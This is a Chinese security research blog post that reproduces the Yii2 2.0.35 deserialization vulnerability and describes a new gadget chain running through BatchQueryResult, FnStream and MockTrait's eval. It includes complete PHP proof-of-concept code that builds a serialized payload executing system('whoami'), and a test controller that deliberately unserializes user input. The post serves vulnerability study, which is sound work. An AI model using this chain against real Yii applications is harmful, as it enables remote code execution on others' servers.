Skip to content

Latest commit

 

History

History
364 lines (233 loc) · 11.4 KB

Yii 反序列化漏洞复现到新利用链发现.md

File metadata and controls

364 lines (233 loc) · 11.4 KB

本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com

技术模块持续征稿 ing

· 基础稿费、额外激励、推荐作者、连载均有奖励,年度投稿 top3 还有神秘大奖!

· 投稿请将个人联系方式 (微信,QQ,手机号) 和文章发送到

邮箱:[email protected]

点击链接了解征稿详情

前言

我是刚入门不久的小白, 如果有什么地方不对,请师父们及时指正. 本文参考奶权师傅的 Yii 复现文章,受益匪浅,自己调试的时候发现了一个新的利用链,于是来分享下

开始

反序列化漏洞影响到 2.0.38 被修复 https://github.com/yiisoft/yii2/security/advisories/GHSA-699q-wcff-g9mj

Hello World

由于挖洞的时候遇到一个 cms 是 Yii2.0.35 的所以我选择复现 Yii2.0.35: https://github.com/yiisoft/yii2/releases/tag/2.0.35, 跟着文档把 Hello World 写出来. 大概了解一下开发流程.

环境我用:phpstudy 集成环境. apache2.4.39 + php 7.4.3 + phpstorm 开启 xdebug;

如下,我创建了一个 action:http://127.0.0.1/yii2.0.35/web/index.php?r=test/index, controllers 的命名是 名称 Controller,action 的命名是: action 名称

/views/test/index.php. 其中 test 是控制器 (controller) 的名称。index 是 render 中的 view 参数命名的

页面效果,

小技巧

在开始追踪利用连前, 提供一些小技巧, 另外我喜欢用 Vscode 来匹配内容 (因为 Vscode 点击相应的搜索结果可以快速的定位到, 方便查看), 用 phpstorm 跟踪函数

正则匹配可控的方法

->\$([a-zA-Z0-9_-]+)\(

正则匹配可控的传入参数

[^if ][^foreach ][^while ]\(\$([a-zA-Z0-9_-]+)->

反序列化利用链

全局搜索 __destruct (反序列化后, 销毁对象时会触发的函数), 定位到 vendor/yiisoft/yii2/db/BatchQueryResult.php, 给 this->reset();

public function __destruct()
{
    // make sure cursor is closed
    $this->reset();
}

跟踪 restet 方法, 反序列化时, 反序列化的对象成员属性也是可控的. 所以 $this->_dataReader 可控, 可以进入 close 方法.

public function reset()
{
    if ($this->_dataReader !== null) {
        $this->_dataReader->close();
    }
    $this->_dataReader = null;
    $this->_batch = null;
    $this->_value = null;
    $this->_key = null;
}

那么这里就形成了一个跳板. 全局找 close() 方法. 最后在 /vendor/guzzlehttp/psr7/src/FnStream.php 中找到一个非常危险的 close 方法, 该方法接收一个参数, 是可控的成员属性.

public function close()
{
    return call_user_func($this->_fn_close);
}

POC 编写.

先提供一个反序列化的点. 修改 TestController 不要 render. 直接 var_dump unserialize;

class TestController extends Controller {
    public function actionIndex($message="Hello") {
        var_dump(unserialize($message));
//        return $this->render("index", ['message'=>$message]);
    }
}

对于 poc 的编写, 需要注意命名空间. 否则无法定位到相应的类. 也因为他会自动定位到相应的类,所以不用像原本定义一样继承相应的父类.

vendor/yiisoft/yii2/db/BatchQueryResult.php

namespace yii\db;
class BatchQueryResult {
    // 需要控制的成员属性
    private $_dataReader;
}

vendor/guzzlehttp/psr7/src/FnStream.php

namespace GuzzleHttp\Psr7;
class FnStream implements StreamInterface {
    // 需要控制的参数, 原本并没有定义所以无要求
    var $_fn_close;
}

poc 如下

<?php
namespace GuzzleHttp\Psr7 {
    class FnStream {
        var $_fn_close = "phpinfo";
    }
}
namespace yii\db {
    use GuzzleHttp\Psr7\FnStream;
    class BatchQueryResult {
        // 需要控制的成员属性
        private $_dataReader;
        public function __construct() {
            $this->_dataReader  = new FnStream();
        }
    }
    $b = new BatchQueryResult();
    var_dump(serialize($b));
}

执行成功.

危害放大

可以注意到, FnStream 类中的 call_user_func 只有一个参数. 翻一翻官方文档,发现了相应的解决方法. 所以遇到阻塞时,多翻翻手册也许会柳暗花明

如果要放大危害,这里只能作为跳板,还需要一个类. 全局搜索各危险函数. 寻找参数可控的方法.

在 vendor\phpunit\phpunit\src\Framework\MockObject\MockTrait.php 中找到了相应的方法

public function generate(): string
{
    if (!\class_exists($this->mockName, false)) {
        eval($this->classCode);
    }
    return $this->mockName;
}

修改 poc

<?php
namespace PHPUnit\Framework\MockObject{
    class MockTrait {
        private $classCode = "system('whoami');";
        private $mockName = "anything";
    }
}
namespace GuzzleHttp\Psr7 {
    use PHPUnit\Framework\MockObject\MockTrait;
    class FnStream {
        var $_fn_close;
        function __construct() {
            $this->_fn_close = array(
                new MockTrait(),
                'generate'
            );
        }
    }
}
namespace yii\db {
    use GuzzleHttp\Psr7\FnStream;
    class BatchQueryResult {
        // 需要控制的成员属性
        private $_dataReader;
        function __construct() {
            $this->_dataReader  = new FnStream();
        }
    }
    $b = new BatchQueryResult();
    file_put_contents("poc.txt", serialize($b));
}

再次尝试, 报错了!!!这是修复了吗??,低版本也?

但是 phpinfo() 可以正常执行. 当我再回去看的时候. 我发现我漏掉了最底下的报错信息!!!。

先将 poc 复原到 phpinfo(); 可以看到虽然 throw 了, 但 phpinfo 正常执行. 不清楚是什么原因。我的猜想是: phpinfo 回显内容过大触发了分段传输. 我会继续研究这个问题.

利用这个方法. 修改一下 poc,加上 phpinfo();

最终 poc

<?php
namespace PHPUnit\Framework\MockObject{
    class MockTrait {
        private $classCode = "system('whoami');phpinfo();";
        private $mockName = "anything";
    }
}
namespace GuzzleHttp\Psr7 {
    use PHPUnit\Framework\MockObject\MockTrait;
    class FnStream {
        var $_fn_close;
        function __construct() {
            $this->_fn_close = array(
                new MockTrait(),
                'generate'
            );
        }
    }
}
namespace yii\db {
    use GuzzleHttp\Psr7\FnStream;
    class BatchQueryResult {
        // 需要控制的成员属性
        private $_dataReader;
        function __construct() {
            $this->_dataReader  = new FnStream();
        }
    }
    $b = new BatchQueryResult();
    file_put_contents("poc.txt", serialize($b));
}

整理一下反序列化链


END

【版权说明】本作品著作权归 JOHNSON 所有,授权补天漏洞响应平台独家享有信息网络传播权,任何第三方未经授权,不得转载。

JOHNSON

一个每天都在努力追赶大佬脚步的小白

如何加入【补天技术交流群

  1. 仔细阅读本期技术文章

  2. 添加运营小姐姐 vx(doublex_meow

  3. 正确回答小姐姐提出的问题(关于本期文章)

  4. 成功加入补天技术交流群与各位大牛师傅愉快交流辣!

敲黑****板!转发≠学会,课代表给你们划重点了

复习列表

记一次文件上传的曲折经历

代码审计之某通用商城系统 getshell 过程

硬核黑客笔记 - 怒吼吧电磁波 (上)

从 WEB 弱口令到获取集权类设备权限的过程

一个域内特权提升技巧 | 文末双重福利

记一次域渗透靶场学习过程

分享、点赞、在看,一键三连,yyds。